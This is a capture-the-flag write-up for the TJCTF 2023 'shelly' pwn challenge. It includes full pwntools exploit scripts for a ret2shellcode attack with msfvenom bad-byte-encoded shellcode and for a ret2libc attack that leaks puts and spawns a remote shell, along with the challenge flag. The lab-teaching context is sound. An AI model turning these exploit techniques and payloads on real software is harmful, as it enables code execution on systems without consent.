TJCTF 2023: shelly

sally sells seashells by the seashore sally sells seashells by the seashore sally sells seashells by the seashore sally sells seashells by the seashore sally sells seashells by the seashore

TL;DR

Classic ret2shellcode with bad bytes. Alternatively, with NX disabled, it is also possible to Bring Your Own ROP gadget to perform ret2libc attack.

Basic File Checks

At first glance, running the binary returns an unknown address that randomizes on each execution.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./shelly                                   
0x7ffcdb8739e0
test
ok

┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./shelly   
0x7fffa170a2b0
test
ok

Further enumeration shows that NX is disabled, meaning we can inject any arbitrary shellcode.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ checksec --file=shelly
[*] '/home/kali/Desktop/CTF/TJCTF2023/pwn: shelly/shelly'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

Static Code Analysis

Turns out, the address returned is the address of buffer local_108 allocated on runtime. This is an obvious ret2shellcode attack simply due to 3 conditions:

  1. NX Disabled: Our input stored in the .data section is marked as an executable region. This allows us to jump to the custom shellcode stored on the stack or in a global variable.

  2. Address of Buffer: The base address of our input/buffer is a known value, which allows us to overwrite the Instruction Pointer with it.

  3. Buffer Overflow: fgets takes in 512 (0x200) characters from stdin, which overflows the buffer[256], meaning an attacker can control the execution flow of the program via the EIP.

The twists here is that, before executing the shellcode on the buffer, it will check for 2 specific bad bytes: \x0f & \x05 and exit immediately if they are present.

undefined8 main(void)

{
  char local_108 [256];
  
  setbuf(stdout,(char *)0x0);
  printf("0x%lx\n",local_108);
  fgets(local_108,0x200,stdin);
  i = 0;
  while( true ) {
    if ((0x1fe < i) || (local_108[i] == '\0')) {
      puts("ok");
      return 0;
    }
    if ((local_108[i] == '\x0f') && (local_108[i + 1] == '\x05')) break;
    i = i + 1;
  }
  puts("nonono");
                    /* WARNING: Subroutine does not return */
  exit(1);
}

Finding Offset

Using de Brujin Sequence and pwndbg to locate the offset.

pwndbg> cyclic 300
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa

pwndbg> run
Starting program: /home/kali/Desktop/CTF/TJCTF2023/pwn: shelly/shelly 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
0x7fffffffdca0
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
ok

Program received signal SIGSEGV, Segmentation fault.
0x0000000000401256 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────
 RAX  0x0
*RBX  0x7fffffffdeb8 —▸ 0x7fffffffe202 ◂— '/home/kali/Desktop/CTF/TJCTF2023/pwn: shelly/shelly'
*RCX  0x7ffff7ec30e0 (write+16) ◂— cmp rax, -0x1000 /* 'H=' */
*RDX  0x1
*RDI  0x7ffff7f9fa10 (_IO_stdfile_1_lock) ◂— 0x0
*RSI  0x1
*R8   0x4053cd ◂— 0x0
*R9   0x21001
*R10  0x7ffff7dd4fd8 ◂— 0x10002200006647 /* 'Gf' */
*R11  0x202
 R12  0x0
*R13  0x7fffffffdec8 —▸ 0x7fffffffe236 ◂— 'COLORFGBG=15;0'
*R14  0x403df0 —▸ 0x401130 ◂— endbr64 
*R15  0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
*RBP  0x6261616161616168 ('haaaaaab')
*RSP  0x7fffffffdda8 ◂— 'iaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa\n'
*RIP  0x401256 (main+240) ◂— ret 

pwndbg> cyclic -l iaaaaaab
Finding cyclic pattern of 8 bytes: b'iaaaaaab' (hex: 0x6961616161616162)
Found at offset 264

Generating Shellcode

Using msfvenom, we can specify these bad bytes to exclude them from our shellcode.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ msfvenom -p linux/x64/exec CMD="cat flag.txt" -b '\x0f\x05' -f python
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 4 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=47, char=0x0f)
Attempting to encode payload with 1 iterations of x64/xor
x64/xor failed with Encoding failed due to a bad character (index=12, char=0x05)
Attempting to encode payload with 1 iterations of x64/xor_context
x64/xor_context failed with Encoding failed due to a bad character (index=7, char=0x0f)
Attempting to encode payload with 1 iterations of x64/xor_dynamic
x64/xor_dynamic succeeded with size 99 (iteration=0)
x64/xor_dynamic chosen with final size 99
Payload size: 99 bytes
Final size of python file: 506 bytes
buf =  b""
buf += b"\xeb\x27\x5b\x53\x5f\xb0\xab\xfc\xae\x75\xfd\x57"
buf += b"\x59\x53\x5e\x8a\x06\x30\x07\x48\xff\xc7\x48\xff"
buf += b"\xc6\x66\x81\x3f\xb7\x08\x74\x07\x80\x3e\xab\x75"
buf += b"\xea\xeb\xe6\xff\xe1\xe8\xd4\xff\xff\xff\x01\xab"
buf += b"\x49\xb9\x2e\x63\x68\x6f\x2e\x72\x69\x01\x98\x51"
buf += b"\x55\x5e\x53\x67\x69\x2c\x62\x55\x5f\x53\xe9\x0c"
buf += b"\x01\x01\x01\x62\x60\x75\x21\x67\x6d\x60\x66\x2f"
buf += b"\x75\x79\x75\x01\x57\x56\x55\x5f\x6b\x3a\x59\x0e"
buf += b"\x04\xb7\x08"

ret2shellcode

With everything set, overflow the buffer to divert execution flow so that it points to the start of our buffer and execute the injected shellcode.

solve.py
#!/usr/bin/python3

from pwn import *
import warnings

warnings.filterwarnings(action='ignore', category=BytesWarning)
context(os='linux', arch='amd64')

elf = ELF('./shelly')
rop = ROP(elf)

local = False

if(local == True):
    p = elf.process()
else:
    p = remote('tjc.tf', 31365)

ret = (rop.find_gadget(['ret']))[0]

stack_leak = int(p.recvline().strip().ljust(8,b'\x00'),16)
print(hex(stack_leak))

# msfvenom -p linux/x64/exec CMD="cat flag.txt" -b '\x0f\x05' -f python

buf =  b""
buf += b"\xeb\x27\x5b\x53\x5f\xb0\xab\xfc\xae\x75\xfd\x57"
buf += b"\x59\x53\x5e\x8a\x06\x30\x07\x48\xff\xc7\x48\xff"
buf += b"\xc6\x66\x81\x3f\xb7\x08\x74\x07\x80\x3e\xab\x75"
buf += b"\xea\xeb\xe6\xff\xe1\xe8\xd4\xff\xff\xff\x01\xab"
buf += b"\x49\xb9\x2e\x63\x68\x6f\x2e\x72\x69\x01\x98\x51"
buf += b"\x55\x5e\x53\x67\x69\x2c\x62\x55\x5f\x53\xe9\x0c"
buf += b"\x01\x01\x01\x62\x60\x75\x21\x67\x6d\x60\x66\x2f"
buf += b"\x75\x79\x75\x01\x57\x56\x55\x5f\x6b\x3a\x59\x0e"
buf += b"\x04\xb7\x08"

JUNK = (264 - len(buf)) * b"A"

payload = buf + JUNK + p64(ret) + p64(stack_leak)

p.sendline(payload)

p.interactive()
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./solve.py
[+] Opening connection to tjc.tf on port 31365: Done
[*] '/home/kali/Desktop/CTF/TJCTF2023/pwn: shelly/shelly'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[*] Loaded 5 cached gadgets for './shelly'
0x7ffe127bc050
[*] Switching to interactive mode
ok
tjctf{s4lly_s3lls_s34sh3lls_50973fce}

Alternative: ret2libc

Another clever solution is to ROP around the limitations of bad bytes in our shellcode, which leads to a ret2libc attack. However, this attack would be harder without the pop rdi gadget.

┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: shelly]
└─$ ropgadget shelly | grep "pop"
0x000000000040114b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401146 : mov byte ptr [rip + 0x2f0b], 1 ; pop rbp ; ret
0x000000000040114d : pop rbp ; ret

Since NX is disabled, we can Bring Our Own Gadget to make up for the lack of gadgets.

shellcode = asm("pop rdi ; ret")

Just like a classic ret2libc attack, we will exploit the buffer overflow vulnerability once to leak puts address, then ROP a second time to pop a shell. The first ROP chain looks something like this:

  1. Inject pop rdi gadget to the start of buffer.

  2. Fill remaining space with junk, so that it fills up the entire 264 buffer.

  3. Point EIP to the base address of the buffer to empty out the rdi register.

  4. Supply the argument for puts.

  5. Invoke puts function to leak puts address.

  6. Return to main for second ROP chain.

payload = shellcode
payload += (offset- len(shellcode)) * b"A"
payload += p64(stack_leak) # <--- EIP
payload += p64(elf.got.puts)
payload += p64(elf.plt.puts)
payload += p64(elf.symbols.main)

For the exploit to work remotely, we need to find out the LIBC version of the remote server.

Download and update the correct LIBC library, and perform a second ROP chain to pop a shell.

libc = ELF('./libc6_2.35-0ubuntu3_amd64.so', checksec = False)
rop = ROP(libc)

system = libc_base_address + libc.symbols['system']
bin_sh = libc_base_address + next(libc.search(b"/bin/sh"))
pop_rdi = libc_base_address + (rop.find_gadget(['pop rdi', 'ret']))[0]
ret = libc_base_address + (rop.find_gadget(['ret']))[0]

payload = flat(
    asm('nop') * offset,
    pop_rdi,
    bin_sh,
    ret,
    system
)

For some reason, explicit declaration of the binary architecture and context is required in this challenge for the solution to work properly. It came as a surprise because pwntools usually deals with it for us automatically.

ret2libc.py
#!/usr/bin/python3

from pwn import *
import warnings

warnings.filterwarnings(action='ignore', category=BytesWarning)
context(os='linux', arch='amd64')

elf = ELF('./shelly')
rop = ROP(elf)

local = False

if(local == True):
    p = elf.process()
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec = False)
else:
    p = remote('tjc.tf', 31365)
    libc = ELF('./libc6_2.35-0ubuntu3_amd64.so', checksec = False)

offset = 264

stack_leak = int(p.recvline().strip().ljust(8, b'\x00'), 16)
print(f"{hex(stack_leak)=}")

shellcode = """
pop rdi ; ret
"""

shellcode = asm(shellcode)

payload = shellcode
payload += (offset- len(shellcode)) * b"A"
payload += p64(stack_leak)
payload += p64(elf.got.puts)
payload += p64(elf.plt.puts)
payload += p64(elf.symbols.main)

p.sendline(payload)

p.recvline()
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(f"{hex(puts_addr)=}")

libc_base_address = puts_addr - libc.symbols['puts']

p.recvline() # ignore the address of newly initialized buffer 
p.recvline() # because we are jumping back to main

rop = ROP(libc)

system = libc_base_address + libc.symbols['system']
bin_sh = libc_base_address + next(libc.search(b"/bin/sh"))
pop_rdi = libc_base_address + (rop.find_gadget(['pop rdi', 'ret']))[0]
ret = libc_base_address + (rop.find_gadget(['ret']))[0]

payload = flat(
    asm('nop') * offset,
    pop_rdi,
    bin_sh,
    ret,
    system
)

p.sendline(payload)

p.interactive()
┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: shelly]
└─$ ./ret2libc.py
[*] '/home/kali/Desktop/CTF/TJCTF2023/pwn: shelly/shelly'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[*] Loaded 5 cached gadgets for './shelly'
[+] Opening connection to tjc.tf on port 31365: Done
hex(stack_leak)='0x7fff42137830'
hex(puts_addr)='0x7f4b5e987ed0'
[*] Loaded 218 cached gadgets for './libc6_2.35-0ubuntu3_amd64.so'
[*] Switching to interactive mode
ok
$ ls
flag.txt
run
$ cat flag.txt
tjctf{s4lly_s3lls_s34sh3lls_50973fce}

Flag: tjctf{s4lly_s3lls_s34sh3lls_50973fce}

Last updated